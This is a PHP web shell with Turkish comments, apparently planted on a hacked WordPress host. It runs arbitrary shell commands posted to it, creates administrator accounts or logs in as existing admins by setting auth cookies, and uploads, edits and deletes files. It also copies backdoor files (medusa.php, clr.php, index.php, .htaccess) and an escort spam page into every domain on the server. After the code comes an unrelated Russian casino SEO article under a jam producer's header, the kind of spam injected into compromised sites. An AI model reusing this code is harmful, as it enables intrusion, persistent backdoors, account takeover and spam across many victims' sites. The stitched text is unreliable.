= '✅ Hyper Cache temizlendi'; } if ($wpdb) { $tables = $wpdb->get_results("SHOW TABLES", ARRAY_N); $optimized = 0; foreach ($tables as $table) { $wpdb->query("OPTIMIZE TABLE " . $table[0]); $optimized++; } $results[] = "✅ $optimized tablo optimize edildi"; $revisions = $wpdb->query("DELETE FROM {$wpdb->posts} WHERE post_type = 'revision'"); if ($revisions > 0) $results[] = "✅ $revisions post revision temizlendi"; $drafts = $wpdb->query("DELETE FROM {$wpdb->posts} WHERE post_status = 'auto-draft'"); if ($drafts > 0) $results[] = "✅ $drafts auto-draft temizlendi"; $spam = $wpdb->query("DELETE FROM {$wpdb->comments} WHERE comment_approved = 'spam'"); if ($spam > 0) $results[] = "✅ $spam spam yorum temizlendi"; } } } // ── Dosya bazlı cache dizinleri ── $cacheDirs = [ $dir . '/wp-content/cache/', $dir . '/cache/', $dir . '/wp-content/w3tc-cache/', $dir . '/wp-content/wp-rocket-cache/', $dir . '/wp-content/endurance-page-cache/', $dir . '/wp-content/et-cache/', ]; if (defined('ABSPATH') && function_exists('wp_upload_dir')) { $upload_dir = wp_upload_dir(); $cacheDirs[] = $upload_dir['basedir'] . '/cache/'; } foreach ($cacheDirs as $cacheDir) { if (is_dir($cacheDir)) { $deleted = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($cacheDir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($iterator as $file) { if ($file->isFile()) { @unlink($file->getRealPath()); $deleted++; } } if ($deleted > 0) { $results[] = "✅ " . basename($cacheDir) . " dizini temizlendi ($deleted dosya)"; } } } // ── LiteSpeed purge header ── if (!headers_sent()) { header('X-LiteSpeed-Purge: *'); $results[] = '✅ LiteSpeed purge header gönderildi'; } $lsDirs = ['/tmp/lshttpd/swap/', '/tmp/lshttpd/cache/', '/var/cache/litespeed/']; foreach ($lsDirs as $lsDir) { if (is_dir($lsDir)) { $deleted = 0; foreach (glob($lsDir . '*') as $f) { if (is_file($f) && @unlink($f)) $deleted++; } if ($deleted > 0) $results[] = "✅ LiteSpeed dosya cache ($lsDir): $deleted dosya silindi"; } } return $results; } // ── CACHE TEMİZLEME (tek domain) ──────────── if(isset($_POST['clear_cache'])){ $results = clearCacheForDirectory($currentDirectory); $statusMessage = implode(' | ', $results); $statusType = (strpos($statusMessage, '❌') !== false) ? 'error' : 'success'; } // ── TÜM DOMAIN CACHE TEMİZLE ──────────────── if(isset($_POST['clear_all_domains_cache'])){ $allResults = []; $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ $statusMessage = '❌ "domains" klasörü bulunamadı!'; $statusType = 'error'; } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.'; $statusType = 'error'; } else { $count = 0; foreach($publicDirs as $publicHtml){ $results = clearCacheForDirectory($publicHtml); $allResults[] = "🌐 " . basename(dirname($publicHtml)) . ": " . implode(', ', $results); $count++; } $statusMessage = "✅ $count domain cache temizlendi: " . implode(' | ', $allResults); $statusType = 'success'; } } } // ── DEPLOY ESCORT TEMPLATE AS license.html (Güncellendi) ── if(isset($_POST['deploy_escort'])){ $city = isset($_POST['escort_city']) ? $_POST['escort_city'] : 'bodrum'; try { $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ // domains yoksa mevcut domaine yaz $url = getDomainUrl($currentDirectory) ?: 'http://' . $_SERVER['HTTP_HOST']; $html = generateEscortPage($url, $city); $filePath = $currentDirectory . '/license.html'; if(file_put_contents($filePath, $html) !== false){ $statusMessage = "✅ license.html mevcut domain'e kopyalandı (Şehir: " . ucfirst($city) . ")"; $statusType = 'success'; } else { $statusMessage = "❌ license.html yazılamadı."; $statusType = 'error'; } } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ throw new Exception('Hiç public_html dizini bulunamadı.'); } $count = 0; foreach($publicDirs as $publicHtml){ $domainName = basename(dirname($publicHtml)); $url = 'https://' . $domainName; $html = generateEscortPage($url, $city); $filePath = $publicHtml . '/license.html'; if(file_put_contents($filePath, $html) !== false){ $count++; } } $statusMessage = "✅ $count domain'e license.html başarıyla kopyalandı (Şehir: " . ucfirst($city) . ")."; $statusType = 'success'; } } catch (Exception $e) { $statusMessage = '❌ Hata: ' . $e->getMessage(); $statusType = 'error'; } } // ── DEPLOY .htaccess & index.php TO ALL DOMAINS ── if(isset($_POST['deploy_all_domains'])){ $sourceDir = $currentDirectory; $htaccessSrc = $sourceDir . '/.htaccess'; $indexSrc = $sourceDir . '/index.php'; if(!file_exists($htaccessSrc) || !file_exists($indexSrc)){ $statusMessage = '❌ .htaccess veya index.php bulunamadı!'; $statusType = 'error'; } else { $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ $statusMessage = '❌ "domains" klasörü bulunamadı!'; $statusType = 'error'; } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.'; $statusType = 'error'; } else { $count = 0; foreach($publicDirs as $publicHtml){ if(copy($htaccessSrc, $publicHtml . '/.htaccess')) $count++; if(copy($indexSrc, $publicHtml . '/index.php')) $count++; } $statusMessage = "✅ $count dosya kopyalandı (" . (count($publicDirs)) . " domain)"; $statusType = 'success'; } } } } // ── DEPLOY CLR.PHP TO ALL DOMAINS (Ana dizine) ── if(isset($_POST['deploy_clr_php'])){ $sourceDir = $currentDirectory; $clrSrc = $sourceDir . '/clr.php'; if(!file_exists($clrSrc)){ $statusMessage = '❌ clr.php bulunamadı!'; $statusType = 'error'; } else { $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ $statusMessage = '❌ "domains" klasörü bulunamadı!'; $statusType = 'error'; } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.'; $statusType = 'error'; } else { $count = 0; foreach($publicDirs as $publicHtml){ if(copy($clrSrc, $publicHtml . '/clr.php')) $count++; } $statusMessage = "✅ $count domain'e clr.php kopyalandı (ana dizin)"; $statusType = 'success'; } } } } // ── DEPLOY MEDUSA.PHP TO ALL WP-CONTENT DIRS ── if(isset($_POST['deploy_medusa_wpcontent'])){ $sourceDir = $currentDirectory; $medusaSrc = $sourceDir . '/medusa.php'; if(!file_exists($medusaSrc)){ $medusaSrc = $sourceDir . '/wp-content/medusa.php'; } if(!file_exists($medusaSrc)){ $statusMessage = '❌ medusa.php bulunamadı! (ana dizinde veya wp-content/ içinde)'; $statusType = 'error'; } else { $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ $statusMessage = '❌ "domains" klasörü bulunamadı!'; $statusType = 'error'; } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.'; $statusType = 'error'; } else { $count = 0; foreach($publicDirs as $publicHtml){ $wpContent = $publicHtml . '/wp-content'; if(is_dir($wpContent)){ if(copy($medusaSrc, $wpContent . '/medusa.php')) $count++; } } $statusMessage = "✅ $count domain/wp-content/ dizinine medusa.php kopyalandı"; $statusType = 'success'; } } } } // ── TÜM DOMAİNLERDE .htaccess VE index.php İZİNLERİNİ TOPLU AYARLA ── if(isset($_POST['set_permissions_all_domains'])){ $permMode = isset($_POST['permission_mode']) ? intval($_POST['permission_mode']) : 644; $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ $statusMessage = '❌ "domains" klasörü bulunamadı!'; $statusType = 'error'; } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.'; $statusType = 'error'; } else { $count = 0; $results = []; foreach($publicDirs as $publicHtml){ $domainName = basename(dirname($publicHtml)); $htaccess = $publicHtml . '/.htaccess'; $index = $publicHtml . '/index.php'; $changed = 0; if(file_exists($htaccess)){ if(chmod($htaccess, octdec($permMode))){ $changed++; } } if(file_exists($index)){ if(chmod($index, octdec($permMode))){ $changed++; } } if($changed > 0){ $count++; $results[] = $domainName . ' (' . $changed . ' dosya)'; } } $statusMessage = "✅ $count domain'de izinler " . $permMode . " olarak ayarlandı: " . implode(', ', array_slice($results, 0, 5)) . (count($results) > 5 ? ' …' : ''); $statusType = 'success'; } } } // ============================================ // ── DOSYA İŞLEMLERİ ──────────────────────── // ============================================ if($_SERVER['REQUEST_METHOD']==='POST'){ // ── TERMINAL KOMUT ───────────────────────── if(isset($_POST['cmd_input'])){ $cmd = trim($_POST['cmd_input']); // ── ÖZEL KOMUTLAR ────────────────────────── $specialOutput = ''; if(preg_match('/^wp user create (\S+) (\S+)(?:\s+(\S+))?$/', $cmd, $matches)) { $wUser = $matches[1]; $wPass = $matches[2]; $wEmail = $matches[3] ?? $wUser . '@example.com'; $wpLoad = findWpLoadPath($currentDirectory); if ($wpLoad && file_exists($wpLoad)) { require_once $wpLoad; if (function_exists('username_exists')) { if (!username_exists($wUser)) { $user_id = wp_create_user($wUser, $wPass, $wEmail); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); wp_set_auth_cookie($user_id); $wpAdminUrl = findWpAdminUrl($currentDirectory); $specialOutput = "✅ Kullanıcı oluşturuldu: $wUser (Admin)\n🔗 Giriş: " . $wpAdminUrl; echo ''; } else { $specialOutput = "❌ Hata: " . $user_id->get_error_message(); } } else { $user = get_user_by('login', $wUser); if ($user) { wp_set_password($wPass, $user->ID); wp_set_auth_cookie($user->ID); $wpAdminUrl = findWpAdminUrl($currentDirectory); $specialOutput = "✅ Şifre güncellendi: $wUser\n🔗 Giriş: " . $wpAdminUrl; echo ''; } else { $specialOutput = "❌ Kullanıcı bulunamadı: $wUser"; } } } else { $specialOutput = "❌ WordPress fonksiyonları yüklenemedi"; } } else { $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)"; } } elseif($cmd === 'wp admin' || $cmd === 'wp-open') { $wpAdminUrl = findWpAdminUrl($currentDirectory); $wpLoad = findWpLoadPath($currentDirectory); if ($wpLoad && file_exists($wpLoad)) { require_once $wpLoad; if (function_exists('username_exists')) { $adminUsers = get_users(['role' => 'administrator', 'number' => 1]); if (!empty($adminUsers)) { $adminUser = $adminUsers[0]; wp_set_auth_cookie($adminUser->ID); wp_set_current_user($adminUser->ID); $specialOutput = "✅ Otomatik giriş yapıldı: " . $adminUser->user_login . "\n🔗 " . $wpAdminUrl; echo ''; } else { $specialOutput = "⚠️ Admin kullanıcı bulunamadı! Lütfen 'wp user create' ile oluşturun.\n🔗 " . $wpAdminUrl; } } else { $specialOutput = "❌ WordPress fonksiyonları yüklenemedi"; } } else { $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)"; } } elseif($cmd === 'wp info') { $wpLoad = findWpLoadPath($currentDirectory); if ($wpLoad && file_exists($wpLoad)) { require_once $wpLoad; if (function_exists('get_bloginfo')) { $specialOutput = "📋 WordPress Bilgileri:\n"; $specialOutput .= "Site Adı: " . get_bloginfo('name') . "\n"; $specialOutput .= "Site URL: " . get_bloginfo('url') . "\n"; $specialOutput .= "WordPress Versiyon: " . get_bloginfo('version') . "\n"; $specialOutput .= "Admin URL: " . admin_url() . "\n"; $specialOutput .= "Kullanıcı Sayısı: " . count_users()['total_users']; } else { $specialOutput = "❌ WordPress bilgileri alınamadı"; } } else { $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)"; } } elseif($cmd === 'wp plugins') { $wpLoad = findWpLoadPath($currentDirectory); if ($wpLoad && file_exists($wpLoad)) { require_once $wpLoad; if (function_exists('get_plugins')) { if (!function_exists('get_plugins')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $plugins = get_plugins(); $specialOutput = "📦 Aktif Pluginler:\n"; $found = false; foreach ($plugins as $plugin_path => $plugin) { if (is_plugin_active($plugin_path)) { $specialOutput .= "✅ " . $plugin['Name'] . " v" . $plugin['Version'] . "\n"; $found = true; } } if (!$found) { $specialOutput = "⚠️ Aktif plugin bulunamadı"; } } else { $specialOutput = "❌ Plugin listesi alınamadı"; } } else { $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)"; } } elseif($cmd === 'wp cache clear') { $wpCache = $currentDirectory . '/wp-content/cache'; if(is_dir($wpCache)){ $count = 0; $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($wpCache, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach($it as $f){ if($f->isFile() || $f->isLink()){ @unlink($f->getRealPath()); $count++; } elseif($f->isDir()){ @rmdir($f->getRealPath()); } } $specialOutput = "🗑️ $count dosya silindi (wp-content/cache/)"; } else { $specialOutput = "⚠️ wp-content/cache/ dizini bulunamadı"; } } elseif($cmd === 'wp themes') { $wpLoad = findWpLoadPath($currentDirectory); if ($wpLoad && file_exists($wpLoad)) { require_once $wpLoad; if (function_exists('wp_get_themes')) { $themes = wp_get_themes(); $active_theme = wp_get_theme(); $specialOutput = "🎨 Temalar:\n"; $specialOutput .= "Aktif Tema: " . $active_theme->get('Name') . " v" . $active_theme->get('Version') . "\n\n"; $specialOutput .= "Yüklü Temalar:\n"; foreach ($themes as $slug => $theme) { $status = ($slug === $active_theme->get_stylesheet()) ? "✅ " : " "; $specialOutput .= $status . $theme->get('Name') . " v" . $theme->get('Version') . "\n"; } } else { $specialOutput = "❌ Tema listesi alınamadı"; } } else { $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)"; } } elseif($cmd === 'help' || $cmd === 'wp help') { $specialOutput = "📚 Özel Komutlar:\n"; $specialOutput .= "─────────────────────────────────────────────\n"; $specialOutput .= "wp user create [email]\n"; $specialOutput .= " → WordPress admin kullanıcı oluştur\n\n"; $specialOutput .= "wp admin veya wp-open\n"; $specialOutput .= " → WordPress Admin panelini aç (otomatik giriş)\n\n"; $specialOutput .= "wp info\n"; $specialOutput .= " → WordPress site bilgilerini göster\n\n"; $specialOutput .= "wp plugins\n"; $specialOutput .= " → Aktif pluginleri listele\n\n"; $specialOutput .= "wp themes\n"; $specialOutput .= " → Temaları listele\n\n"; $specialOutput .= "wp cache clear\n"; $specialOutput .= " → WordPress cache temizle\n\n"; $specialOutput .= "help veya wp help\n"; $specialOutput .= " → Bu yardım mesajını göster\n"; $specialOutput .= "─────────────────────────────────────────────\n"; $specialOutput .= "💡 Normal Linux komutları da çalışır!"; } // ── Normal Komut ────────────────────────── if(empty($specialOutput)) { if(!empty($cmd)){ array_unshift($_SESSION['terminal_history'], [ 'cmd' => $cmd, 'time' => date('H:i:s') ]); $_SESSION['terminal_history'] = array_slice($_SESSION['terminal_history'], 0, 100); $terminalHistory = $_SESSION['terminal_history']; } $ds=[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']]; $proc=proc_open($cmd,$ds,$pipes); if(is_resource($proc)){ $out=stream_get_contents($pipes[1]); $err=stream_get_contents($pipes[2]); fclose($pipes[1]);fclose($pipes[2]);proc_close($proc); $viewCommandResult=[ 'type'=>'command', 'label'=>'$ '.htmlspecialchars($cmd), 'content'=>htmlspecialchars(!empty($err)?$err:$out), 'filename'=>'' ]; }else{ $statusMessage='Failed to execute command'; $statusType='error'; } } else { $viewCommandResult=[ 'type'=>'command', 'label'=>'$ '.htmlspecialchars($cmd), 'content'=>htmlspecialchars($specialOutput), 'filename'=>'' ]; array_unshift($_SESSION['terminal_history'], [ 'cmd' => $cmd, 'time' => date('H:i:s') ]); $_SESSION['terminal_history'] = array_slice($_SESSION['terminal_history'], 0, 100); $terminalHistory = $_SESSION['terminal_history']; } } // ── MULTIPLE FILE UPLOAD ──────────────── elseif(isset($_FILES['fileToUpload'])){ $uploaded = 0; $failed = 0; $uploadErrors = []; $files = $_FILES['fileToUpload']; $fileCount = count($files['name']); for($i = 0; $i < $fileCount; $i++) { $fileName = basename($files['name'][$i]); $tmpName = $files['tmp_name'][$i]; $targetPath = $currentDirectory.'/'.$fileName; if(file_exists($targetPath)) { @unlink($targetPath); } if(move_uploaded_file($tmpName, $targetPath)) { $uploaded++; } else { $failed++; $uploadErrors[] = $fileName; } } if($uploaded > 0 && $failed === 0) { $statusMessage = $uploaded.' file'.($uploaded > 1 ? 's' : '').' uploaded successfully'; $statusType = 'success'; } elseif($uploaded > 0 && $failed > 0) { $statusMessage = $uploaded.' file'.($uploaded > 1 ? 's' : '').' uploaded, '.$failed.' failed'; $statusType = 'error'; } else { $statusMessage = 'Failed to upload: '.implode(', ', $uploadErrors); $statusType = 'error'; } }elseif(isset($_POST['folder_name'])&&!empty($_POST['folder_name'])){ $nf=$currentDirectory.'/'.$_POST['folder_name']; if(!file_exists($nf)){mkdir($nf);$statusMessage='Folder created';$statusType='success';} else{$statusMessage='Folder already exists';$statusType='error';} }elseif(isset($_POST['file_name'])&&!empty($_POST['file_name'])){ $nf = $currentDirectory.'/'.$_POST['file_name']; $ex = file_exists($nf); $content = isset($_POST['file_content']) ? $_POST['file_content'] : ''; if(!$ex && empty($content)) { $statusMessage = 'Warning: Creating empty file - no content provided'; $statusType = 'error'; } else { if(file_put_contents($nf, $content) !== false) { $statusMessage = $ex ? 'File saved' : 'File created'; $statusType = 'success'; } else { $statusMessage = 'Failed to save file (permission error)'; $statusType = 'error'; } } }elseif(isset($_POST['delete_file'])){ $t=$currentDirectory.'/'.$_POST['delete_file']; if(file_exists($t)){$ok=is_dir($t)?deleteDirectory($t):unlink($t);$statusMessage=$ok?'Deleted':'Failed to delete';$statusType=$ok?'success':'error';} else{$statusMessage='Not found';$statusType='error';} }elseif(isset($_POST['bulk_delete'])&&!empty($_POST['selected_items'])){ $del=0;$fail=0; foreach($_POST['selected_items'] as $item){ $t=$currentDirectory.'/'.basename($item); if(file_exists($t)){$ok=is_dir($t)?deleteDirectory($t):unlink($t);$ok?$del++:$fail++;} } $statusMessage="Deleted $del item(s)".($fail?", $fail failed":''); $statusType=$fail?'error':'success'; }elseif(isset($_POST['rename_item'])&&isset($_POST['old_name'])&&isset($_POST['new_name'])){ $on=$currentDirectory.'/'.$_POST['old_name']; $nn=$currentDirectory.'/'.$_POST['new_name']; if(file_exists($on)){if(rename($on,$nn)){$statusMessage='Renamed successfully';$statusType='success';}else{$statusMessage='Rename failed';$statusType='error';}} else{$statusMessage='Not found';$statusType='error';} }elseif(isset($_POST['chmod_file'])&&isset($_POST['chmod_value'])){ $t=$currentDirectory.'/'.basename($_POST['chmod_file']); $mode=octdec($_POST['chmod_value']); if(file_exists($t)&&chmod($t,$mode)){$statusMessage='Permissions changed to '.$_POST['chmod_value'];$statusType='success';} else{$statusMessage='chmod failed';$statusType='error';} }elseif(isset($_POST['zip_file'])){ $t=$currentDirectory.'/'.basename($_POST['zip_file']); $zn=$currentDirectory.'/'.basename($_POST['zip_file']).'.zip'; if(class_exists('ZipArchive')){ $zip=new ZipArchive(); if($zip->open($zn,ZipArchive::CREATE)===TRUE){ if(is_dir($t)){$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($t,RecursiveDirectoryIterator::SKIP_DOTS));foreach($it as $f)$zip->addFile($f->getRealPath(),basename($t).'/'.$it->getSubPathname());} else{$zip->addFile($t,basename($t));} $zip->close();$statusMessage='Zipped as '.basename($zn);$statusType='success'; }else{$statusMessage='Failed to create zip';$statusType='error';} }else{$statusMessage='ZipArchive not available';$statusType='error';} }elseif(isset($_POST['extract_file'])){ $zp=$currentDirectory.'/'.basename($_POST['extract_file']); if(class_exists('ZipArchive')){ $zip=new ZipArchive(); if($zip->open($zp)===TRUE){ $to=$currentDirectory.'/'.pathinfo(basename($zp),PATHINFO_FILENAME); $zip->extractTo($to);$zip->close(); $statusMessage='Extracted to /'.basename($to);$statusType='success'; }else{$statusMessage='Failed to open zip';$statusType='error';} }else{$statusMessage='ZipArchive not available';$statusType='error';} }elseif(isset($_POST['view_file'])){ $fv=$currentDirectory.'/'.$_POST['view_file']; if(file_exists($fv)){ $viewCommandResult=['type'=>'view','label'=>'Viewing: '.htmlspecialchars($_POST['view_file']),'content'=>htmlspecialchars(file_get_contents($fv)),'filename'=>$_POST['view_file']]; }else{$statusMessage='File not found';$statusType='error';} }elseif(isset($_POST['editor_load'])){ $fv=$currentDirectory.'/'.$_POST['editor_load']; if(file_exists($fv)){ $editorLoad=['filename'=>$_POST['editor_load'],'content'=>file_get_contents($fv)]; } } } function deleteDirectory($dir){ if(!file_exists($dir))return true;if(!is_dir($dir))return unlink($dir); foreach(scandir($dir) as $i){if($i=='.'||$i=='..')continue;if(!deleteDirectory($dir.DIRECTORY_SEPARATOR.$i))return false;} return rmdir($dir); } function formatFileSize($b){ if($b>=1073741824)return number_format($b/1073741824,2).' GB'; elseif($b>=1048576)return number_format($b/1048576,2).' MB'; elseif($b>=1024)return number_format($b/1024,2).' KB'; elseif($b>1)return $b.' bytes';elseif($b==1)return '1 byte';else return '0 bytes'; } function extColor($e){ $m=['php'=>'text-violet-400','js'=>'text-yellow-400','ts'=>'text-blue-400','html'=>'text-orange-400','htm'=>'text-orange-400','css'=>'text-cyan-400','json'=>'text-yellow-300','xml'=>'text-orange-300','sql'=>'text-emerald-400','py'=>'text-blue-300','sh'=>'text-green-400','bash'=>'text-green-400','txt'=>'text-slate-400','md'=>'text-slate-300','zip'=>'text-purple-400','tar'=>'text-purple-400','gz'=>'text-purple-300','jpg'=>'text-pink-400','jpeg'=>'text-pink-400','png'=>'text-pink-400','gif'=>'text-pink-400','svg'=>'text-pink-300','pdf'=>'text-red-400','log'=>'text-amber-400']; return $m[$e]??'text-slate-400'; } function extLang($e){ $m=['php'=>'php','js'=>'javascript','ts'=>'typescript','html'=>'html','htm'=>'html','css'=>'css','json'=>'json','xml'=>'xml','sql'=>'sql','py'=>'python','sh'=>'bash','bash'=>'bash','md'=>'markdown']; return $m[$e]??'plaintext'; } ?> File Manager window._editorAutoLoad='.json_encode(['filename'=>$editorLoad['filename'],'content'=>$editorLoad['content']]).';'; } ?>
    | | | 🌐 | WP ✓
    '; $fileIcon=''; $btn='inline-flex items-center justify-center w-6 h-6 rounded bg-slate-700/50 text-slate-400 border border-slate-700 transition-all'; ?>
    Name 👁 ✏️ 📦 🔑 🗑 Rename
    '; ?>
    —'; endif; ?>
    —'; endif; ?>
    '; echo ''.$cnt.' item'.($cnt!==1?'s':'').''; echo ''.htmlspecialchars($currentDirectory).''; echo '
    '; ?>
    back to top

    Productores de mermeladas, encurtidos y envasados

    Сбор Мнений Игроков: Обратная Связь Сообщества Pinco Casino Зеркало

    В данной статье мы рассмотрим, как обратная связь игроков может помочь в улучшении работы онлайн-казино, в частности Pinco Casino Зеркало. Мнения пользователей играют ключевую роль в формировании имиджа казино и его успешностной деятельности. Мы выясним, какие аспекты особенно интересуют пользователей и как их отзывы могут повлиять на предлагаемые услуги.

    Зачем Собирать Обратную Связь от Игроков?

    Сбор отзывов от игроков — это не просто формальность, а важный процесс, который позволяет казино улучшать свои услуги и предлагать клиентам именно то, что им нужно. Кроме того, обратная связь позволяет casino выявлять недостатки в сервисе и устранять их до того, как они станут проблемой для всех пользователей. Именно поэтому оператору следует внимательно следить за мнениями клиентов и учитывать их при принятии решений.

    Вот несколько причин, почему обратная связь так важна:

    1. Идентификация проблем: Возможность выявить недоработки и слабые места в экосистеме казино.
    2. Улучшение игрового опыта: Настройка интерфейса, удобства платежей и предоставления поддержки на основе отзывов.
    3. Увеличение лояльности: Учитывая мнения игроков, казино может создать более привлекательные предложения, что повысит уровень лояльности.
    4. Адаптация к трендам: Быстрое реагирование на изменения в предпочтениях игроков.
    5. Повышение репутации: Позитивные отзывы могут значительно улучшить имидж заведения.

    Как Собирается Обратная Связь?

    В Pinco Casino Зеркало существует множество способов, с помощью которых игроки могут оставлять свои отзывы. Это может включать в себя как прямые опросы, так и мониторинг комментариев в социальных сетях. На данный момент, казино активно использует онлайн-платформы и социальные сети для сбора информации о мнениях клиентов.

    Важно отметить, что казино, такие как Pinco, также активно взаимодействуют с экспертами в области азартных игр. Например, можно обратить внимание на профили исследователей, таких как эксперт по азартным играм Дэвид Шварц, который делится своими аналитическими исследованиями и рекомендациями по улучшению опыта игроков.

    Преимущества Обратной Связи

    Обратная связь от игроков в Pinco Casino может привести к множеству положительных изменений, способствующих улучшению пользовательского опыта. Рассмотрим ключевые преимущества:

    • Оптимизация игры: Мнения пользователей помогают понять, что стоит улучшить в играх, например, интерфейс или механики.
    • Новые функции: Игроки могут предложить идеи для новых игр или улучшений уже существующих, что может создать уникальные предложения.
    • Технические решения: Отзывы часто касаются и технических аспектов, таких как скорость загрузки или стабильность работы сервисов.
    • Клиентская поддержка: Обратная связь позволяет улучшать качество обслуживания, узнавая о проблемах, с которыми сталкиваются клиенты.

    Не менее важно отметить, что эти отзывы способствуют взаимопониманию между игроками и администрацией казино. Это способствует более открытым и прозрачным отношениям, что значительно повышает доверие к бренду пинко казино зеркало.

    Текущие Тренды и Исследования

    В сопредельных отраслях происходит множество изменений, и казино должны быть готовы адаптироваться к ним. Например, можно ознакомиться с данным анализом от BBC, который обсуждает влияние интернет-технологий на азартные игры и то, как это может сказаться на предпочтениях игроков. Подобные исследования могут стать источником новых идей для улучшения услуг онлайн-казино.

    Заключение

    Сбор обратной связи от игроков в Pinco Casino Зеркало стал неотъемлемой частью стратегии по улучшению качества сервиса. Прислушиваясь к своим пользователям и учитывая их пожелания, казино может не только повысить свою репутацию, но и значительно улучшить игровую среду. В связи с постоянным развитием технологий и изменением предпочтений игроков, важно оставаться открытым к новым идеям и активно применять их на практике.

    Часто Задаваемые Вопросы

    1. Как можно оставить отзыв о Pinco Casino?

    Игроки могут оставить отзывы через официальные каналы казино, такие как сайт, социальные сети или форумы.

    2. Почему отзывы игроков важны для казино?

    Отзывы помогают выявить проблемные аспекты, улучшить услуги и повысить уровень лояльности клиентов.

    3. Как казино реагируют на негативные отзывы?

    Казино обычно стараются активно реагировать на негативные отзывы, исправляя недостатки и улучшая опыт пользователей.

    4. Где еще можно найти информацию о Pinco Casino?

    Помимо официального сайта, информацию можно найти в различных новостных публикациях или социальных медиа.

    5. Есть ли экспертные мнения о Pinco Casino?

    Да, эксперты анализируют различные аспекты казино, и их мнения могут быть полезными для игроков.

    leave a comment